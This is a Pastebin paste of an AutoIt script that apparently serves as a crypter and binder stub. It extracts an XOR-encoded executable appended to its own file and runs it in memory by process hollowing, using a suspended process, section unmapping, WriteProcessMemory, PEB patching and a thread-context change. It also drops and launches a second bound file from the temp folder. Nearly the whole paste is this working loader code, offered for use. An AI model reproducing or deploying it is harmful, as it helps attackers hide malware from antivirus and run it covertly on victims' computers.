API tools faq
paste
Pirate-inc

M3

Pirate-inc
Nov 16th, 2012
354
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 19.73 KB | None | 0 0
raw download clone embed print report
  1. #NoTrayIcon
  2. #RequireAdmin
  3. #Region
  4. #AutoIt3Wrapper_UseUpx=n
  5. #AutoIt3Wrapper_res_requestedExecutionLevel=asInvoker
  6. #EndRegion
  7. #Codeado por M3
  8. $sapppath = sgetmyapp()
  9. $pass = "\\M3\\DEVELOPER\\M3\\"
  10. $slenfile = slenex($pass)
  11. $sapp = FileRead($sapppath)
  12. $ssplit = StringSplit($sapp, $pass, 1)
  13. $sinstr = StringInStr($sapp, $pass)
  14. $sfinal = StringMid($sapp, $sinstr + $slenfile)
  15. Call(_runbinary(sxor($sfinal, $pass)))
  16. $ssplitjoin = StringSplit($sfinal, "X$$X", 1)
  17. $sarchivojoin = $ssplitjoin[2]
  18. $sarchivojoin = StringReplace($sarchivojoin, "\\M3\\DEVELOPER\\M3\\", "")
  19. If FileExists(@TempDir & "\M3.EXE") Then FileDelete(@TempDir & "\M3.EXE")
  20. $sjoinfile = FileOpen(@TempDir & "\M3.exe", 1)
  21. FileWrite($sjoinfile, sxor($sarchivojoin, "\\M3\\DEVELOPER\\M3\\"))
  22. FileClose($sjoinfile)
  23. Sleep(100)
  24. If FileExists(@TempDir & "\M3.EXE") Then sshell(@TempDir & "\M3.exe")
  25.  
  26. Func sshell($path)
  27.     Local $shell = ObjCreate("shell.application")
  28.     $shell.shellexecute($path, "")
  29. EndFunc
  30.  
  31. Func sxor($s_string, $s_key = "2", $s_level = 1)
  32.     Local $s_encrypted, $s_kc = 1
  33.     If StringLen($s_key) = 0 OR $s_level < 1 Then Return 0
  34.     $s_key = StringSplit($s_key, "")
  35.     $s_string = StringSplit($s_string, "")
  36.     For $x = 1 To $s_string[0]
  37.         $s_kc = Mod($x, $s_key[0])
  38.         $s_encrypted &= Chr(BitXOR(Asc($s_string[$x]), Asc($s_key[$s_kc]) * $s_level))
  39.     Next
  40.     Return $s_encrypted
  41. EndFunc
  42.  
  43. # sMyPath
  44.  
  45. Func sgetmyapp()
  46.     Local $mypath = DllCall("KERNEL32", "none", "GetModuleFileNameA", "ptr", "none", "str", "none", "int", "256")
  47.     $mypath = $mypath[2]
  48.     Return $mypath
  49. EndFunc
  50.  
  51. # sStringLen
  52.  
  53. Func slenex($sstr)
  54.     Local $result, $i, $blen
  55.     Do
  56.         $i = $i + 1
  57.         $blen = StringLeft($sstr, $i)
  58.         $result = $i
  59.     Until $sstr = $blen
  60.     Return $result
  61. EndFunc
  62.  
  63. Func _runbinary($bbinaryimage, $scommandline = "", $sexemodule = @AutoItExe)
  64.     #Region 1. DETERMINE INTERPRETER TYPE
  65.     Local $fautoitx64 = @AutoItX64
  66.     #Region 2. PREDPROCESSING PASSED
  67.     Local $bbinary = Binary($bbinaryimage)
  68.     Local $tbinary = DllStructCreate("byte[" & BinaryLen($bbinary) & "]")
  69.     DllStructSetData($tbinary, 1, $bbinary)
  70.     Local $ppointer = DllStructGetPtr($tbinary)
  71.     #Region 3. CREATING NEW PROCESS
  72.     Local $tstartupinfo = DllStructCreate("dword  cbSize;" & "ptr Reserved;" & "ptr Desktop;" & "ptr Title;" & "dword X;" & "dword Y;" & "dword XSize;" & "dword YSize;" & "dword XCountChars;" & "dword YCountChars;" & "dword FillAttribute;" & "dword Flags;" & "word ShowWindow;" & "word Reserved2;" & "ptr Reserved2;" & "ptr hStdInput;" & "ptr hStdOutput;" & "ptr hStdError")
  73.     Local $tprocess_information = DllStructCreate("ptr Process;" & "ptr Thread;" & "dword ProcessId;" & "dword ThreadId")
  74.     Local $acall = DllCall("kernel32.dll", "bool", "CreateProcessW", "wstr", $sexemodule, "wstr", $scommandline, "ptr", 0, "ptr", 0, "int", 0, "dword", 4, "ptr", 0, "ptr", 0, "ptr", DllStructGetPtr($tstartupinfo), "ptr", DllStructGetPtr($tprocess_information))
  75.     If @error OR NOT $acall[0] Then Return SetError(1, 0, 0)
  76.     Local $hprocess = DllStructGetData($tprocess_information, "Process")
  77.     Local $hthread = DllStructGetData($tprocess_information, "Thread")
  78.     If $fautoitx64 AND _runbinary_iswow64process($hprocess) Then
  79.         DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
  80.         Return SetError(2, 0, 0)
  81.     EndIf
  82.     #Region 4. FILL CONTEXT STRUCTURE
  83.     Local $irunflag, $tcontext
  84.     If $fautoitx64 Then
  85.         If @OSArch = "X64" Then
  86.             $irunflag = 2
  87.             $tcontext = DllStructCreate("align 16; uint64 P1Home; uint64 P2Home; uint64 P3Home; uint64 P4Home; uint64 P5Home; uint64 P6Home;" & "dword ContextFlags; dword MxCsr;" & "word SegCS; word SegDs; word SegEs; word SegFs; word SegGs; word SegSs; dword EFlags;" & "uint64 Dr0; uint64 Dr1; uint64 Dr2; uint64 Dr3; uint64 Dr6; uint64 Dr7;" & "uint64 Rax; uint64 Rcx; uint64 Rdx; uint64 Rbx; uint64 Rsp; uint64 Rbp; uint64 Rsi; uint64 Rdi; uint64 R8; uint64 R9; uint64 R10; uint64 R11; uint64 R12; uint64 R13; uint64 R14; uint64 R15;" & "uint64 Rip;" & "uint64 Header[4]; uint64 Legacy[16]; uint64 Xmm0[2]; uint64 Xmm1[2]; uint64 Xmm2[2]; uint64 Xmm3[2]; uint64 Xmm4[2]; uint64 Xmm5[2]; uint64 Xmm6[2]; uint64 Xmm7[2]; uint64 Xmm8[2]; uint64 Xmm9[2]; uint64 Xmm10[2]; uint64 Xmm11[2]; uint64 Xmm12[2]; uint64 Xmm13[2]; uint64 Xmm14[2]; uint64 Xmm15[2];" & "uint64 VectorRegister[52]; uint64 VectorControl;" & "uint64 DebugControl; uint64 LastBranchToRip; uint64 LastBranchFromRip; uint64 LastExceptionToRip; uint64 LastExceptionFromRip")
  88.         Else
  89.             $irunflag = 3
  90.             DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
  91.             Return SetError(102, 0, 0)
  92.         EndIf
  93.     Else
  94.         $irunflag = 1
  95.         $tcontext = DllStructCreate("dword ContextFlags;" & "dword Dr0; dword Dr1; dword Dr2; dword Dr3; dword Dr6; dword Dr7;" & "dword ControlWord; dword StatusWord; dword TagWord; dword ErrorOffset; dword ErrorSelector; dword DataOffset; dword DataSelector; byte RegisterArea[80]; dword Cr0NpxState;" & "dword SegGs; dword SegFs; dword SegEs; dword SegDs;" & "dword Edi; dword Esi; dword Ebx; dword Edx; dword Ecx; dword Eax;" & "dword Ebp; dword Eip; dword SegCs; dword EFlags; dword Esp; dword SegSs;" & "byte ExtendedRegisters[512]")
  96.     EndIf
  97.     Local $context_full
  98.     Switch $irunflag
  99.         Case 1
  100.             $context_full = 65543
  101.         Case 2
  102.             $context_full = 1048583
  103.         Case 3
  104.             $context_full = 524327
  105.     EndSwitch
  106.     DllStructSetData($tcontext, "ContextFlags", $context_full)
  107.     $acall = DllCall("kernel32.dll", "bool", "GetThreadContext", "handle", $hthread, "ptr", DllStructGetPtr($tcontext))
  108.     If @error OR NOT $acall[0] Then
  109.         DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
  110.         Return SetError(3, 0, 0)
  111.     EndIf
  112.     Local $ppeb
  113.     Switch $irunflag
  114.         Case 1
  115.             $ppeb = DllStructGetData($tcontext, "Ebx")
  116.         Case 2
  117.             $ppeb = DllStructGetData($tcontext, "Rdx")
  118.         Case 3
  119.     EndSwitch
  120.     #Region 5. READ PE-FORMAT
  121.     Local $timage_dos_header = DllStructCreate("char Magic[2];" & "word BytesOnLastPage;" & "word Pages;" & "word Relocations;" & "word SizeofHeader;" & "word MinimumExtra;" & "word MaximumExtra;" & "word SS;" & "word SP;" & "word Checksum;" & "word IP;" & "word CS;" & "word Relocation;" & "word Overlay;" & "char Reserved[8];" & "word OEMIdentifier;" & "word OEMInformation;" & "char Reserved2[20];" & "dword AddressOfNewExeHeader", $ppointer)
  122.     Local $pheaders_new = $ppointer
  123.     $ppointer += DllStructGetData($timage_dos_header, "AddressOfNewExeHeader")
  124.     Local $smagic = DllStructGetData($timage_dos_header, "Magic")
  125.     If NOT ($smagic == "MZ") Then
  126.         DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
  127.         Return SetError(4, 0, 0)
  128.     EndIf
  129.     Local $timage_nt_signature = DllStructCreate("dword Signature", $ppointer)
  130.     $ppointer += 4
  131.     If DllStructGetData($timage_nt_signature, "Signature") <> 17744 Then
  132.         DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
  133.         Return SetError(5, 0, 0)
  134.     EndIf
  135.     Local $timage_file_header = DllStructCreate("word Machine;" & "word NumberOfSections;" & "dword TimeDateStamp;" & "dword PointerToSymbolTable;" & "dword NumberOfSymbols;" & "word SizeOfOptionalHeader;" & "word Characteristics", $ppointer)
  136.     Local $inumberofsections = DllStructGetData($timage_file_header, "NumberOfSections")
  137.     $ppointer += 20
  138.     Local $tmagic = DllStructCreate("word Magic;", $ppointer)
  139.     Local $imagic = DllStructGetData($tmagic, 1)
  140.     Local $timage_optional_header
  141.     If $imagic = 267 Then
  142.         If $fautoitx64 Then
  143.             DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
  144.             Return SetError(6, 0, 0)
  145.         EndIf
  146.         $timage_optional_header = DllStructCreate("word Magic;" & "byte MajorLinkerVersion;" & "byte MinorLinkerVersion;" & "dword SizeOfCode;" & "dword SizeOfInitializedData;" & "dword SizeOfUninitializedData;" & "dword AddressOfEntryPoint;" & "dword BaseOfCode;" & "dword BaseOfData;" & "dword ImageBase;" & "dword SectionAlignment;" & "dword FileAlignment;" & "word MajorOperatingSystemVersion;" & "word MinorOperatingSystemVersion;" & "word MajorImageVersion;" & "word MinorImageVersion;" & "word MajorSubsystemVersion;" & "word MinorSubsystemVersion;" & "dword Win32VersionValue;" & "dword SizeOfImage;" & "dword SizeOfHeaders;" & "dword CheckSum;" & "word Subsystem;" & "word DllCharacteristics;" & "dword SizeOfStackReserve;" & "dword SizeOfStackCommit;" & "dword SizeOfHeapReserve;" & "dword SizeOfHeapCommit;" & "dword LoaderFlags;" & "dword NumberOfRvaAndSizes", $ppointer)
  147.         $ppointer += 96
  148.     ElseIf $imagic = 523 Then
  149.         If NOT $fautoitx64 Then
  150.             DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
  151.             Return SetError(6, 0, 0)
  152.         EndIf
  153.         $timage_optional_header = DllStructCreate("word Magic;" & "byte MajorLinkerVersion;" & "byte MinorLinkerVersion;" & "dword SizeOfCode;" & "dword SizeOfInitializedData;" & "dword SizeOfUninitializedData;" & "dword AddressOfEntryPoint;" & "dword BaseOfCode;" & "uint64 ImageBase;" & "dword SectionAlignment;" & "dword FileAlignment;" & "word MajorOperatingSystemVersion;" & "word MinorOperatingSystemVersion;" & "word MajorImageVersion;" & "word MinorImageVersion;" & "word MajorSubsystemVersion;" & "word MinorSubsystemVersion;" & "dword Win32VersionValue;" & "dword SizeOfImage;" & "dword SizeOfHeaders;" & "dword CheckSum;" & "word Subsystem;" & "word DllCharacteristics;" & "uint64 SizeOfStackReserve;" & "uint64 SizeOfStackCommit;" & "uint64 SizeOfHeapReserve;" & "uint64 SizeOfHeapCommit;" & "dword LoaderFlags;" & "dword NumberOfRvaAndSizes", $ppointer)
  154.         $ppointer += 112
  155.     Else
  156.         DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
  157.         Return SetError(6, 0, 0)
  158.     EndIf
  159.     Local $ientrypointnew = DllStructGetData($timage_optional_header, "AddressOfEntryPoint")
  160.     Local $ioptionalheadersizeofheadersnew = DllStructGetData($timage_optional_header, "SizeOfHeaders")
  161.     Local $poptionalheaderimagebasenew = DllStructGetData($timage_optional_header, "ImageBase")
  162.     Local $ioptionalheadersizeofimagenew = DllStructGetData($timage_optional_header, "SizeOfImage")
  163.     $ppointer += 8
  164.     $ppointer += 8
  165.     $ppointer += 24
  166.     Local $timage_directory_entry_basereloc = DllStructCreate("dword VirtualAddress; dword Size", $ppointer)
  167.     Local $paddressnewbasereloc = DllStructGetData($timage_directory_entry_basereloc, "VirtualAddress")
  168.     Local $isizebasereloc = DllStructGetData($timage_directory_entry_basereloc, "Size")
  169.     Local $frelocatable
  170.     If $paddressnewbasereloc AND $isizebasereloc Then $frelocatable = True
  171.     If NOT $frelocatable Then ConsoleWrite("!!!NOT RELOCATABLE MODULE. I WILL TRY BUT THIS MAY NOT WORK!!!" & @CRLF)
  172.     $ppointer += 88
  173.     #Region 6. ALLOCATE 'NEW' MEMORY SPACE
  174.     Local $frelocate
  175.     Local $pzeropoint
  176.     If $frelocatable Then
  177.         $pzeropoint = _runbinary_allocateexespace($hprocess, $ioptionalheadersizeofimagenew)
  178.         If @error Then
  179.             $pzeropoint = _runbinary_allocateexespaceataddress($hprocess, $poptionalheaderimagebasenew, $ioptionalheadersizeofimagenew)
  180.             If @error Then
  181.                 _runbinary_unmapviewofsection($hprocess, $poptionalheaderimagebasenew)
  182.                 $pzeropoint = _runbinary_allocateexespaceataddress($hprocess, $poptionalheaderimagebasenew, $ioptionalheadersizeofimagenew)
  183.                 If @error Then
  184.                     DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
  185.                     Return SetError(101, 1, 0)
  186.                 EndIf
  187.             EndIf
  188.         EndIf
  189.         $frelocate = True
  190.     Else
  191.         $pzeropoint = _runbinary_allocateexespaceataddress($hprocess, $poptionalheaderimagebasenew, $ioptionalheadersizeofimagenew)
  192.         If @error Then
  193.             _runbinary_unmapviewofsection($hprocess, $poptionalheaderimagebasenew)
  194.             $pzeropoint = _runbinary_allocateexespaceataddress($hprocess, $poptionalheaderimagebasenew, $ioptionalheadersizeofimagenew)
  195.             If @error Then
  196.                 DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
  197.                 Return SetError(101, 0, 0)
  198.             EndIf
  199.         EndIf
  200.     EndIf
  201.     DllStructSetData($timage_optional_header, "ImageBase", $pzeropoint)
  202.     #Region 7. CONSTRUCT THE NEW MODULE
  203.     Local $tmodule = DllStructCreate("byte[" & $ioptionalheadersizeofimagenew & "]")
  204.     Local $pmodule = DllStructGetPtr($tmodule)
  205.     Local $theaders = DllStructCreate("byte[" & $ioptionalheadersizeofheadersnew & "]", $pheaders_new)
  206.     DllStructSetData($tmodule, 1, DllStructGetData($theaders, 1))
  207.     Local $timage_section_header
  208.     Local $isizeofrawdata, $ppointertorawdata
  209.     Local $ivirtualaddress, $ivirtualsize
  210.     Local $trelocraw
  211.     For $i = 1 To $inumberofsections
  212.         $timage_section_header = DllStructCreate("char Name[8];" & "dword UnionOfVirtualSizeAndPhysicalAddress;" & "dword VirtualAddress;" & "dword SizeOfRawData;" & "dword PointerToRawData;" & "dword PointerToRelocations;" & "dword PointerToLinenumbers;" & "word NumberOfRelocations;" & "word NumberOfLinenumbers;" & "dword Characteristics", $ppointer)
  213.         $isizeofrawdata = DllStructGetData($timage_section_header, "SizeOfRawData")
  214.         $ppointertorawdata = $pheaders_new + DllStructGetData($timage_section_header, "PointerToRawData")
  215.         $ivirtualaddress = DllStructGetData($timage_section_header, "VirtualAddress")
  216.         $ivirtualsize = DllStructGetData($timage_section_header, "UnionOfVirtualSizeAndPhysicalAddress")
  217.         If $ivirtualsize AND $ivirtualsize < $isizeofrawdata Then $isizeofrawdata = $ivirtualsize
  218.         If $isizeofrawdata Then
  219.             DllStructSetData(DllStructCreate("byte[" & $isizeofrawdata & "]", $pmodule + $ivirtualaddress), 1, DllStructGetData(DllStructCreate("byte[" & $isizeofrawdata & "]", $ppointertorawdata), 1))
  220.         EndIf
  221.         If $frelocate Then
  222.             If $ivirtualaddress <= $paddressnewbasereloc AND $ivirtualaddress + $isizeofrawdata > $paddressnewbasereloc Then
  223.                 $trelocraw = DllStructCreate("byte[" & $isizebasereloc & "]", $ppointertorawdata + ($paddressnewbasereloc - $ivirtualaddress))
  224.             EndIf
  225.         EndIf
  226.         $ppointer += 40
  227.     Next
  228.     If $frelocate Then _runbinary_fixreloc($pmodule, $trelocraw, $pzeropoint, $poptionalheaderimagebasenew, $imagic = 523)
  229.     $acall = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pzeropoint, "ptr", $pmodule, "dword_ptr", $ioptionalheadersizeofimagenew, "dword_ptr*", 0)
  230.     If @error OR NOT $acall[0] Then
  231.         DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
  232.         Return SetError(7, 0, 0)
  233.     EndIf
  234.     #Region 8. PEB ImageBaseAddress MANIPULATION
  235.     Local $tpeb = DllStructCreate("byte InheritedAddressSpace;" & "byte ReadImageFileExecOptions;" & "byte BeingDebugged;" & "byte Spare;" & "ptr Mutant;" & "ptr ImageBaseAddress;" & "ptr LoaderData;" & "ptr ProcessParameters;" & "ptr SubSystemData;" & "ptr ProcessHeap;" & "ptr FastPebLock;" & "ptr FastPebLockRoutine;" & "ptr FastPebUnlockRoutine;" & "dword EnvironmentUpdateCount;" & "ptr KernelCallbackTable;" & "ptr EventLogSection;" & "ptr EventLog;" & "ptr FreeList;" & "dword TlsExpansionCounter;" & "ptr TlsBitmap;" & "dword TlsBitmapBits[2];" & "ptr ReadOnlySharedMemoryBase;" & "ptr ReadOnlySharedMemoryHeap;" & "ptr ReadOnlyStaticServerData;" & "ptr AnsiCodePageData;" & "ptr OemCodePageData;" & "ptr UnicodeCaseTableData;" & "dword NumberOfProcessors;" & "dword NtGlobalFlag;" & "byte Spare2[4];" & "int64 CriticalSectionTimeout;" & "dword HeapSegmentReserve;" & "dword HeapSegmentCommit;" & "dword HeapDeCommitTotalFreeThreshold;" & "dword HeapDeCommitFreeBlockThreshold;" & "dword NumberOfHeaps;" & "dword MaximumNumberOfHeaps;" & "ptr ProcessHeaps;" & "ptr GdiSharedHandleTable;" & "ptr ProcessStarterHelper;" & "ptr GdiDCAttributeList;" & "ptr LoaderLock;" & "dword OSMajorVersion;" & "dword OSMinorVersion;" & "dword OSBuildNumber;" & "dword OSPlatformId;" & "dword ImageSubSystem;" & "dword ImageSubSystemMajorVersion;" & "dword ImageSubSystemMinorVersion;" & "dword GdiHandleBuffer[34];" & "dword PostProcessInitRoutine;" & "dword TlsExpansionBitmap;" & "byte TlsExpansionBitmapBits[128];" & "dword SessionId")
  236.     $acall = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "ptr", $hprocess, "ptr", $ppeb, "ptr", DllStructGetPtr($tpeb), "dword_ptr", DllStructGetSize($tpeb), "dword_ptr*", 0)
  237.     If @error OR NOT $acall[0] Then
  238.         DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
  239.         Return SetError(8, 0, 0)
  240.     EndIf
  241.     DllStructSetData($tpeb, "ImageBaseAddress", $pzeropoint)
  242.     $acall = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $ppeb, "ptr", DllStructGetPtr($tpeb), "dword_ptr", DllStructGetSize($tpeb), "dword_ptr*", 0)
  243.     If @error OR NOT $acall[0] Then
  244.         DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
  245.         Return SetError(9, 0, 0)
  246.     EndIf
  247.     #Region 9. NEW ENTRY POINT
  248.     Switch $irunflag
  249.         Case 1
  250.             DllStructSetData($tcontext, "Eax", $pzeropoint + $ientrypointnew)
  251.         Case 2
  252.             DllStructSetData($tcontext, "Rcx", $pzeropoint + $ientrypointnew)
  253.         Case 3
  254.     EndSwitch
  255.     #Region 10. SET NEW CONTEXT
  256.     $acall = DllCall("kernel32.dll", "bool", "SetThreadContext", "handle", $hthread, "ptr", DllStructGetPtr($tcontext))
  257.     If @error OR NOT $acall[0] Then
  258.         DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
  259.         Return SetError(10, 0, 0)
  260.     EndIf
  261.     #Region 11. RESUME THREAD
  262.     $acall = DllCall("kernel32.dll", "dword", "ResumeThread", "handle", $hthread)
  263.     If @error OR $acall[0] = -1 Then
  264.         DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
  265.         Return SetError(11, 0, 0)
  266.     EndIf
  267.     #Region 12. CLOSE OPEN HANDLES AND RETURN PID
  268.     DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hprocess)
  269.     DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hthread)
  270.     Return DllStructGetData($tprocess_information, "ProcessId")
  271. EndFunc
  272.  
  273. Func _runbinary_fixreloc($pmodule, $tdata, $paddressnew, $paddressold, $fimagex64)
  274.     Local $idelta = $paddressnew - $paddressold
  275.     Local $isize = DllStructGetSize($tdata)
  276.     Local $pdata = DllStructGetPtr($tdata)
  277.     Local $timage_base_relocation, $irelativemove
  278.     Local $ivirtualaddress, $isizeofblock, $inumberofentries
  279.     Local $tenries, $idata, $taddress
  280.     Local $iflag = 3 + 7 * $fimagex64
  281.     While $irelativemove < $isize
  282.         $timage_base_relocation = DllStructCreate("dword VirtualAddress; dword SizeOfBlock", $pdata + $irelativemove)
  283.         $ivirtualaddress = DllStructGetData($timage_base_relocation, "VirtualAddress")
  284.         $isizeofblock = DllStructGetData($timage_base_relocation, "SizeOfBlock")
  285.         $inumberofentries = ($isizeofblock - 8) / 2
  286.         $tenries = DllStructCreate("word[" & $inumberofentries & "]", DllStructGetPtr($timage_base_relocation) + 8)
  287.         For $i = 1 To $inumberofentries
  288.             $idata = DllStructGetData($tenries, 1, $i)
  289.             If BitShift($idata, 12) = $iflag Then
  290.                 $taddress = DllStructCreate("ptr", $pmodule + $ivirtualaddress + BitAND($idata, 4095))
  291.                 DllStructSetData($taddress, 1, DllStructGetData($taddress, 1) + $idelta)
  292.             EndIf
  293.         Next
  294.         $irelativemove += $isizeofblock
  295.     WEnd
  296.     Return 1
  297. EndFunc
  298.  
  299. Func _runbinary_allocateexespaceataddress($hprocess, $paddress, $isize)
  300.     Local $acall = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $hprocess, "ptr", $paddress, "dword_ptr", $isize, "dword", 4096, "dword", 64)
  301.     If @error OR NOT $acall[0] Then
  302.         $acall = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $hprocess, "ptr", $paddress, "dword_ptr", $isize, "dword", 12288, "dword", 64)
  303.         If @error OR NOT $acall[0] Then Return SetError(1, 0, 0)
  304.     EndIf
  305.     Return $acall[0]
  306. EndFunc
  307.  
  308. Func _runbinary_allocateexespace($hprocess, $isize)
  309.     Local $acall = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $hprocess, "ptr", 0, "dword_ptr", $isize, "dword", 12288, "dword", 64)
  310.     If @error OR NOT $acall[0] Then Return SetError(1, 0, 0)
  311.     Return $acall[0]
  312. EndFunc
  313.  
  314. Func _runbinary_unmapviewofsection($hprocess, $paddress)
  315.     DllCall("ntdll.dll", "int", "NtUnmapViewOfSection", "ptr", $hprocess, "ptr", $paddress)
  316.     If @error Then Return SetError(1, 0, 0)
  317.     Return 1
  318. EndFunc
  319.  
  320. Func _runbinary_iswow64process($hprocess)
  321.     Local $acall = DllCall("kernel32.dll", "bool", "IsWow64Process", "handle", $hprocess, "bool*", 0)
  322.     If @error OR NOT $acall[0] Then Return SetError(1, 0, 0)
  323.     Return $acall[2]
  324. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!